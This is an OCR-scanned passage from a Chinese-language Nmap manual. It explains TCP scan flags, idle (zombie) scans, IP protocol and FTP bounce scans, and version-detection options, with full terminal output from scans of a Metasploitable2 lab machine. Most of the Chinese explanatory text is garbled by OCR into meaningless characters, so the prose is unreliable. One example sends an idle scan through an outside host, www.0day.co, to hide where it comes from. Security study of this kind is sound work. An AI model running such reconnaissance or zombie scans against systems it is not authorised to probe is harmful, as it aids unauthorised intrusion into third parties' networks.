-sA TCP ACK F4ii
-SsW TCP & L4
-sM TCP Maimon 14
—scanflags HENX TCP H#
-sI Gl SEREN]
0 IP P34
-b FTP Bounce 114

{# Fl--scanflags ZEI0 A LA I B & X TCP $94#, XJ& T Nmap @R ER—F, Nmap i&
ARZ BB ERPEES N, &) LA R EERER TCP AREAKATHR, X
SibEE A B AMIBOR.

--scanflags 70 A] LA & —MECFbrid{E, 419 (PSH # FIN), {EFHFHFLERSLEL, H
& URG. ACK. PSH. RST. SYN. FIN KBTS winl LL. fFltn, --scanflags URGACKPSH
RSTSYNFIN ¥ & T Fiftrdfr, (ERXMEREE RKKHL. REMRIFAEEE, I Hix
BALZ A A T

kTSR ER TCP brifi, Nmap SFBEAMERIEA —F T1E, HATEEIEALR
Nmap 2 H SYN £

root@Wing:~# nmap —-sT --scanflags SYNURG 192.168.126.131

Starting Nmap 6.40 ( http://mmap.org ) at 2015-06-11 12:49 CST
Nmap scan report for 192.168.126.131

Host is up (0.016s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet
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25/tcp open smtp

53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresqgl
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
root@Wing: ~#

—RBAFEAE— 7 S A I

R

* 3.12 i AARTE N A Nmap fr23%, RPN a2 AN rfa—FWNEH.
% 3.12 ATFRHWS
i m [
-T I PP 151
-p|-F G EEE BN
-sS TCP SYN #15
T TCP HHAHS
U UDP 34
-sN;-sF;-sX Sy g sk
-sA TCP ACK #1##
SW TCP & L4344
-sM TCP Maimon 34
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314 =R

g
& W w®m "B
--scanflags B % X TCP 34
-sI ZRERH
SO IP tHiHE
b FTP Bounce ¥14#

s -sT STt AT LAJE R 2N H . SIRTIHHE Nmap M B AVE, SevFdEATim O 58 20
. ATLMER T RE AT B G TP R H AR EAUGEEE L, & nT LUR I ANE ER (8
FHUR BB — A5 IE, AT 5 D F34 . IDS A0 BRI E - ENL S Sd3
KRR Rk k.

root@Wing:~# nmap -sI www.Oday.co:80 192.168.126.131
WARNING: Many people use -Pn w/Idlescan to prevent pings from their true IP. On the other
hand, timing info Nmap gains from pings can allow for faster, more reliable scans.

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 13:05 CST
Idle scan using zombie www.Oday.co (210.209.122.11:80); Class: Incremental
Nmap scan report for 192.168.126.131
Host is up (0.051s latency).

Not shown: 977 closed|filtered ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432/tcp open postgresql

5900/tcp open wvnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown
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MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 21.96 seconds
root@Wing: ~#

XHRFAMES ENA www..0day.co LN 192.168.126.131 BEATZEWHH, WA
IDS, IDS M43t wwwOday.co 241EF13i# -

T R T B LA 80 N, HEAE 53 A 1 A] LAZE MR S EALS
MA “BSimA5” (Flin www.0day.co: 445). 5 EyF & K2 IEPE K D LA RERE B 2
Nmap FHLEE B A5 ESE IR I H i O 245504 FFBUY, BATaT L3R e X8 7 EL3EAT i 1
FAH

315 MLETEET

% 3.13 iR AAFETFT# Nmap @R, RIS 8 AN 5B fr&—1IP thil
EE i

3% 3.13 KTEGL
% I . -4

-T I ik
-p-F G-kt I
-sS TCP SYN 414
-sT TCP A H
-sU UDP 34
-sN;-sF;-sX [STERE]
sA TCP ACK H4ii
-sW TCP & D44
-sM TCP Maimon 34
--scanflags H & X TCP 4
| Gl SEEE T
-sO LV ESE ]
-b FTP Bounce 4

f§H-sO IETRHLAT AR A IP Hhildafii. XEE “0” ARET “0” M2EKETE “07.
BRI E B ARG DR, IXIF AN — R i i DA T 5 BRI RN 4



3.16 FTP Bounce 131

TCP. UDP #ijl1%5, T IP #pil'5. 1P Whldafinl AR B H P 8 B AR EHLIRLE 2 SCHF 1P
PMLE, 40 TCP. ICMP. IGMP. ESRE(ER]K)Z IP B 5 I A& TCP B UDP ¥ H, {H
e] DM -p & TUERE T BRI PS . BARAE UDP 1 DI EEEE, i dE 1P
PR 8 7 EAEER, RIEM IP Mk,

root@Wing:~# nmap -sO -T4 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 13:25 CST

Warning: 192.168.126.131 giving up on port because retransmission cap hit (6).
Nmap scan report for 192.168.126.131

Host is up (0.00038s latency).

Not shown: 179 open|filtered protocols, 75 closed protocols

PROTOCOL STATE SERVICE

1 open icmp

6 open tcp

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 72.51 seconds
root@Wing:~#

Mt R85 AT LAAS A H AR EALE A 1P PR BGEFFR, XPAN s il ICMP Al
TCP, XMHEMEr T2 1 M 6. IXHEFEETRMZ, PEERSERARZ ICMP i LA 3
EHHE, IERE ICMP PHXATTEARTH R . F140, Nmap M B AR A EMEMT X
W), Nmap St IEIANEMLFRIC A Open. ICMP ANT] Bl AR, HIW2kA 3 /5 2, Nmap
AR A Closed, HARK] ICMP ANA] BiA P £ bR id A Filtered o 41— H #Z AN 305 Y, Nmap
e hric A Open|Filtered.

m FTP Bounce $31

X 314 Fian WAENFI® Nmap 4R, KPP MG ARNTFFHEmSLS—FTP
Bounce 1.

#*3.14 ATHREGHS
£ W ®m B
T B - 3 T3
-p|-F AEESEPIEN
-sS TCP SYN 144
=T TCP HE B4 Hi
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Eg
& W B B
-sU UDP 34
-sN;-sF;-sX (ST Rk
-sA TCP ACK F14
SW TCP % 14
-sM TCP Maimon 434
--scanflags F & X TCP $34
-sl EEESE
-sO 1P Hrisa
b FTP Bounce 3

i F-b ZE T AT LAE4T FTP Bounce Scan 4. ‘& SRV H] iR —6& FTP IRS2%, ARG
BRI ER — B = RS, XM RESR DT/ T, (HX WA —Fh P8 B
KEEREF AR, B P RESRE B B R SE 45 R .



Wain AR H

KEHIRAR

o Jik 53R A R A ER

o JIRAIRN

o A O R AHR I

o REFHIREE

o BELFH

o EEJFH

o FREUTEA RAE B

e RPC H#ff

o BAIERGEHN

o J8 F#E/ERGERI

o Xita5E i) B ARBEATHAE R G AT

o HEM RGN

AT 0T B ARIR S BL S B AR R MFRS0RM, i B ARTa SCR B AT LA E B AR
R RS IRSs, XA R B AT BB 2 . AN 2 e SURBBA T LA
LR A &I, e8GR IR

AEEIN

R 4.1 PR AT Nmap @K, AT EREER, EHFFILEE.



86

F< 4.1 AEEIER
i I .

sV FRARN
--allports A3 17 IR AR
--version-intensity B A R
--version-light BEEAHR
--version-all N e/ Eati
--version-trace SRHL PRI AR A B
-sR RPC F14i
0 Jit PR R et
--osscan-limit R RE K H bR T A R okl
--osscan-guess; --fuzzy HEM R & UL

a1 PETEN LSS

I RN Nmap HUE — e 49 TR R R RF 8 T, Nmap PRk i DT ) 42
BIE A LA H AR EAL RS S CAS AT IR A AR o 43 AT 14 H Nmap 8547 i 146 1R s ik
SR ACHL T TP IS 3 1 Nmap 500 AR 2 H i s N R AR 95 FIRiCAS o 40, 445 i 32
XTRZ) SMB iR 55, 3306 X BZFJAE Mysql FIAHRIRSS, 22 i WX R. SSH AHK IR SS . XL
JI 4% 4= 5 fili A 4F Nmap-services H1f, Z147 2200 4%ic 5% .

SELEHE B (1) 87 B O3 25 WO TR SO OC ) g L1 2K 2% Nmap. Nmap 7] DLBSIIAR 25 O iRAS, 431
F ARk 5545 JT AR T SSH ¥ 11, Nmap & % YRR/ SSH k95, LAK Open SSH F A 55545 &,
R H bR 25 43 FH B RRAS O I 45 T R 2 A7 78 SR 28 7 S0 R

Nmap 2 Ffr ELa] ELYR G HAE G IR 2% 2 Wi AR 453 2 T 98 K () Nmap-service, {# ] Nmap @i
FR 477 R B TCP %5 1 8k UDP i 1 )5, Nmap £57F Nmap-service T2 #I%H Y [0 52 6 Ff iR
% . Nmap-ervice T 5 TIRZ ANFERS FIH L, Nmap 25 Nmap-service 7 IHH N £ ik 3t
ATULHEL, 4% TR Nmap P R RS P03, 40 hetp. ssh 25, ALFEXE N N AR 44,
#ltn Apache. Open SSH &%, RESREHHRRINA T EHA. WAERA, BIERSE. ST
YEZR S, Nmap o] LU H BARKIRRAS, 141 Windows XP. Windows 7. Windows 8. Windwos
2003 &, YAMRXARFTEAMPA, XTF Nmap Joik#i e A © R4 8 —ANRA R JLE
LR P EZE P, BE T B RGBS AT LS A 7 LRI 3T 2 E R .



4.2 BRARN

a2 e

K 4.2 Jrs HA TPl Nmap fr22K, R I a2 A /N5 T it fir & ——RRA 0 .

*42 ATRESS
EOm ®m B

sV F A ER
--allports A= B 1 RSCASER I
--version-intensity TR R AL
--version-light LEs e REi]
--version-all 8 e/ SR
--version-trace NIRRT N
-sR RPC 134
-0 J& 1A R G R
--osscan-limit R E B H bR AT HR M R R
--osscan-guess; --fuzzy HEM R G5

] -sV S IGTHI AT 3 HRRAS BRI o A FHAZGE TRAN S AT — Ao V4, 1 38 ah AH SV P g
IR AT Y (R IR 55 HRHAE I 55 18 SO EH A I R ARCAS o

Starting Nmap

PORT STATE
21/tcp open
22/tcp open
23/tcp open
25/tcp  open
53/tcp open
80/tcp open
111/tcp open
139/tcp open
445/tcp open
512/tcp open
513/tcp open
514/tcp open
1099/tcp open

Host is up (0.

root@Wing:~# nmap -sV 192.168.126.131

6.40 ( http://nmap.org ) at 2014-06-11 16:45 CST

Nmap scan report for 192.168.126.131

00027s latency).

Not shown: 977 closed ports

SERVICE VERSION

ftp vsftpd 2.3.4

ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
telnet Linux telnetd

smtp Postfix smtpd

domain ISC BIND 9.4.2

http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

rpcbind 2 (RPC #100000)

netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
netbios—-ssn Samba smbd 3.X (workgroup: WORKGROUP)
exec netkit-rsh rexecd

login?

tcpwrapped

rmiregistry GNU Classpath grmiregistry
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1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD L.3ul

3306/tcp open mysqgl MySQL 5.0.5la-3ubuntub

5432/tcp open postgresqgl PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol vl1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:E0:2E:76 (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:

Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 12.05 seconds

root@Wing: ~#

MEA 25 R IRATRT BLE G AR I RSCA 5, il tn FTP IRS5 XN FTP #2 7 e R AR5 2
vsftpd 2.3.4, SSH X)W [ /& OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0), IX%EfR%5 M A5
Nmap 7] AR Z) R0 ok . AEf B 07 AT LN HY R VE R 4i 2884 8 UNIX. Linux.

ARIATIE W] LAE B-A LEIT0HAT B AE R G A R A o

root@Wing:~# nmap -sV -A 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 16:46 CST
Nmap scan report for 192.168.126.131

Host is up (0.00034s latency) .

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)

| ssh-hostkey: 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:01:24:3d:e8:£3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd

| smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN,
STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0COSA/
stateOrProvinceName=There is no such thing outside US/countryName=XX

| Not valid before: 2010-03-17T14:07:45+00:00

| Not valid after: 2010-04-16T14:07:45+00:00

| _ssl-date: 2014-06-10T01:31:33400:00; -1d7hl14m47s from local time.

53/tcp open domain ISC BIND 9.4.2

| dns-nsid:

|  bind.version: 9.4.2
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80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
rpcinfo:
program version port/proto service
100000 2 111/tcp rpcbind

|

|

[

| 100000 2 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 40529/tcp mountd

| 100005 1,2,3 43983/udp mountd

| 100021 1,3,4 41255/tcp nlockmgr
| 100021 1,3,4 55723/udp nlockmgr
| 100024 1 35526/tcp status

| 100024 1 50609/udp status

139/tcp open netbios—-ssn Samba smbd 3.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login

514/tcp open tcpwrapped

1099/tcp open rmiregistry GNU Classpath grmiregistry

|_rmi-dumpregistry: Registry listing failed (No return data received from server)

1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
rpcinfo:

program version port/proto service
100000 2 111/tcp rpcbind

|

I

|

| 100000 2 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 40529/tcp mountd

| 100005 1,2,3 43983/udp mountd

| 100021 1,3,4 41255/tcp nlockmgr
| 100021 1,3,4 55723/udp nlockmgr
| 100024 1 35526/tcp status

|_ 100024 1 50609/udp status
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntub

| mysgl-info: Protocol: 10

| Version: 5.0.5la-3ubuntub

| Thread ID: 11

| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
| Status: Autocommit

| _Salt: S$kqv|/pf2bwQmQ/4YD) >

5432/tcp open postgresgl PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

| vnc-info:



| Protocol version: 3.3
| Security types:
| Unknown security type (33554432)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol vl1.3)

| _ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

| _http-favicon: Apache Tomcat

| _http-methods: No Allow or Public header in OPTIONS response (status code 200

| _http-title: Apache Tomcat/5.5

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux kernel:2.6

0S details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:

Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:

| 0S: Unix (Samba 3.0.20-Debian)

| NetBIOS computer name:

| Workgroup: WORKGROUP

| System time: 2014-06-09T21:31:33-04:00

TRACEROUTE

HOP RTT ADDRESS

1 0.34 ms 192.168.126.131

0S and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 74,85 seconds

root@Wing: ~#

fEH-A JEIE B TAT LOARHCE INvE4n s B A S B 7 e BA17E DL B4 b Bt
2] I3 B BAR ) Linux WAZRMCAS, 1X 434 758 K Nmap.

\

~()\’/ -5V LT -A ETUR, X TERAH 45 RAEL 7 HuAH(E . Nmap JFA—

W et mamstesitm s,
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43 SROMARW

[E) emnmamm

4.3 PR WAZE T Nmap fr2, R IR ar& A/ N5 BT iy @——43m 1 RRAS
T .
#43 ATFRHS
i ®m R

-sV FRASER D
-allports 4= ¥ A R A ER U
--version-intensity ARk
--version-light RN
--version-all EEA
--version-trace RICEAH R A B
-sR RPC 4
-0 J& R A RGN
--osscan-limit KR E 1) H bRiEAT B AE R Gek il
--osscan-guess; --fuzzy HEW G50

fd Fl --allports 115 A] LA S F 423 1 RRASER I o 31X FF AN 2 B A 1X AN T0 ] BAAT 4 B A 70 g
1, Nmap 2Bk 9100 TCP %, HA1E H--allports A w] LLF14 BT v H

Starting Nmap

PORT STATE
21/tcp open
22/tcp open
23/tcp open
25/tcp open
53/tcp open
80/tcp open
111/tcp open
139/tcp open
445/tcp open
512/tcp open
513/tcp open
514/tcp open
1099/tcp open

root@Wing:~# nmap -sV --allports 192.168.126.131

6.40 ( http://nmap.org ) at 2014-06-11 17:24 CST

SERVICE
ftp

ssh
telnet
smtp
domain
http
rpcbind

Nmap scan report for 192.168.126.131
Host is up (0.00026s latency).
Not shown: 977 closed ports

VERSION

vsftpd 2.3.4

OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
Linux telnetd

Postfix smtpd

ISC BIND 9.4.2

Apache httpd 2.2.8 ((Ubuntu) DAV/2)

2 (RPC #100000)

netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

exec
login?

tcpwrapped

netkit-rsh rexecd

rmiregistry GNU Classpath grmiregistry
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1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.5la-3ubuntub

5432/tcp open postgresgl PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol vl.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:E0:2E:76 (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:

Unix, Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.39 seconds

root@Wing:~#

REAWEE

% 4.4 P WA Nmap fr@4K, RPIHEaG AN a2

e KR

Fa4 ATHE®S
i I I
sV RRAHR
--allports A 1 ARAR
--version-intensity WERHERE
—version-light LS SR
--version-all Eoe Skl
—-version-trace SRECPEAN RRAAE B
-sR RPC 4
-0 Jit AR R GE RN
--osscan-limit X FE K H AR AT H A R
--osscan-guess; --fuzzy HEM R R

FERATH Nmap BT FIHHI R, Nmap &1%— RFIERINFIR L, --version-intensity HELE ]
PLUABREN RSO T 1~9 Z (A1 F{E . B T BARAR BRI SO T ) WSS 30, i
T Y 52 el AL (B S M Ve AT S B AR FH o 3R KT8 B T a2 s IR L R R S o 24 BRA 10 10




44 BEEFHERE

E, RGBT AT R ER R, (ER Xt ST AR 24K — BURT (8], SRBEAAE 0~9, BK
IHISRETR 7.

root@Wing:~# nmap -sV --version-intensity 1 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 17:40 CST
Nmap scan report for 192.168.126.131

Host is up (0.00028s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open tcpwrapped

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysgl MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open wvnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol vl1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:EQ0:2E:76 (VMware)

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:

Unix, Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds

root@Wing:~#

| SRR 0~9, 0 ARGS9 ARSI
2|, > st peocm .
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a5 3 DI

R 4.5 Frs AAFE Y FT T Nmap v @3, P ar & A ANV P dn & e EEE P
%45 AR WS
i’ I .
sV FEAHR I
--allports A i ] RRAR A
--version-intensity B R
—version-light REFZH#H
--version-all HRHH
--version-trace EREGE A AR A B
-sR RPC 44
-0 Ja B A R G
--osscan-limit X 5E 1 H bRuEAT B A R G B
--osscan-guess; --fuzzy HE RS R T

fff H --version-light B[l m] 3 AT % & 2% 9 # . 76 ¥6 91 W& B £ 5 5 0 0 U
--version-intensity 7 0~9 JLMIMIR%5ZR, --version-intensity | /&% 3 [f]--version-intensity 2 (1]
PREE T, BRI E KRIEER [a], (H RS — e e, 5%, R e
LY 73 B 1) SOASASUR A K 22 B A P AT DL — TR i I

at 2014-06-11 17:47 CST

(protocol 2.0)

( (Ubuntu)

DAV/2)

(workgroup: WORKGROUP)
(workgroup: WORKGROUP)

root@Wing:~# nmap -sV --version-light 192.168.126.131
Starting Nmap 6.40 ( http://nmap.org )

Nmap scan report for 192.168.126.131

Host is up (0.00028s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X

445/tcp open netbios-ssn Samba smbd 3.X

512/tcp open exec netkit-rsh rexecd
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513/tcp
514/tcp open
1099/tcp open

open login?
tcpwrapped

rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysqgl MySQL 5.0.51a-3ubuntub

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol vl.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:E0:2E:76
Service Info: Hosts:

(VMware)

metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:
Unix, Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please
http://nmap.org/submit/
1 IP address

root@Wing:~#

report any incorrect results at

Nmap done: (1 host up) scanned in 11.37 seconds

\

< e
‘.( P)-)_ Z%IE TUHLAC ) J&--version-intensity 2, ‘& 5--version-intensity 2 =554 .
'\ ~

S

a6 B3I TEE

% 4.6 PR WAZE AT F Nmap ar43%, Rl ar & A AN are——ERL .

1 ] --version-all ZE1 AT LLEAT KA. R ZNNK K T --version-intensity [#] 0~
9 MNINRAES,, --version-all X WV [¥) J&--version-intensity 9 FIFRFE T X Al F%% 500 ] DAARE 5
AN D 2R RIR S, X SR 2 B a), (EAERR MRS 2 R B SE I .

=46 ATAEWS
® W =
sV JRATRS
--allports A= g 11 RSCAS R
--version-intensity BB
--version-light LR
--version-all EREAMH
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g3k
% W A
--version-trace RELVEAHIRA (5 B
-sR RPC A4
-0 Ji PR AR R HR
--osscan-limit XHRRE IR E AR REA T3 RGN
--osscan-guess; --fuzzy HEM R G815

root@Wing:~# nmap -sV --version-all 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 17:51 CST
Nmap scan report for 192.168.126.131

Host is up (0.00028s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open tcpwrapped

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.5la-3ubuntub

5432/tcp open postgresgl PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:E0:2E:76 (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:
Unix, Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 13.22 seconds

root@Wing: ~#
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P2/~ ZIETNELAR (1] f& --version-intensity 9, ‘E5--version-intensity 9 ZEITFEAT
S

a7 B3 T U EY

R 47 Fan AAZETTT Nmap ar4 R, RPN A< 44015 B ar @ — R0
PRAAE B

*47 ATFRRBS
i® W .

sV R AR
--allports 4= 1 AR
--version-intensity BRI R L
--version-light Lid e R E
--version-all CiR e/ ERE i
--version-trace KR R A5 B
-sR RPC 14
-0 JE A R ST
--osscan-limit R4 E 19 HbREEAT B AE R GE R
--osscan-guess; -—-fuzzy HEMI R 48

{di FH --version-trace L 7] LLAREGEAN AOAAS B o X T3REH br LV EIIME BEJEEH
B .

root@Wing:~# nmap -sV --version-trace 192.168.126.131
Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 18:01 CST
PORTS: Using top 1000 ports found open (TCP:1000, UDP:0, SCTP:0)
——————————————— TIMiAG LEPOLL ~=ssmSoSnsscsss

hostgroups: min 1, max 100000

rtt-timeouts: init 1000, min 100, max 10000

max-scan-delay: TCP 1000, UDP 1000, SCTP 1000

parallelism: min 0, max 0

max-retries: 10, host-timeout: 0

min-rate: 0, max-rate: 0

NSE: Using Lua 5.2. #NSE 52
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NSE: Script Arguments seen from CLI:

NSE: Loaded 23 scripts for scanning.

Packet capture filter (device eth0): arp and arp[18:4] = 0x000C2996 and arp[22:2] = 0x752B
Overall sending rates: 399.52 packets / s, 16779.86 bytes / s. #REFHERE
mass_rdns: Using DNS server 192.168.126.2 #fEATH DNS RS

mass_rdns: 0.04s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]

DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR:
1, CN: 0]

Packet capture filter (device eth0): dst host 192.168.126.130 and (icmp or icmp6é or ((tcp
or udp or sctp) and (src host 192.168.126.131)))

Overall sending rates: 17200.45 packets / s, 756819.98 bytes / s.

Service scan sending probe ajp to 192.168.126.131:8009 (tcp)
NSOCK INFO [11.3290s] nsock read(): Read request from IOD #55 [192.168.126.131:8009]

(timeout: 5000ms) EID 1378

NSOCK INFO [11.3290s] nsock trace handler callback(): Callback: WRITE SUCCESS for EID 1371
[192.168.126.131:8009] #5 BAREAM 8009 ik O BIER I

NSOCK INFO [11.3290s] nsock trace handler callback(): Callback: READ SUCCESS for EID 1378
[192.168.126.131:8009] (5 bytes): AB...

Service scan match (Probe ajp matched with ajp line 11783): 192.168.126.131:8009 is ajpl3.
Version: |Apache Jserv]| |Protocol vl1.3|

NSOCK INFO [11.3290s] nsi delete(): nsi_delete (IOD #55)

NSOCK INFO [11.3380s] nsock trace handler callback(): Callback: READ SUCCESS for EID 1330
[192.168.126.131:8180] (8838 bytes)

Service scan match (Probe GetRequest matched with GetRequest line 5566):
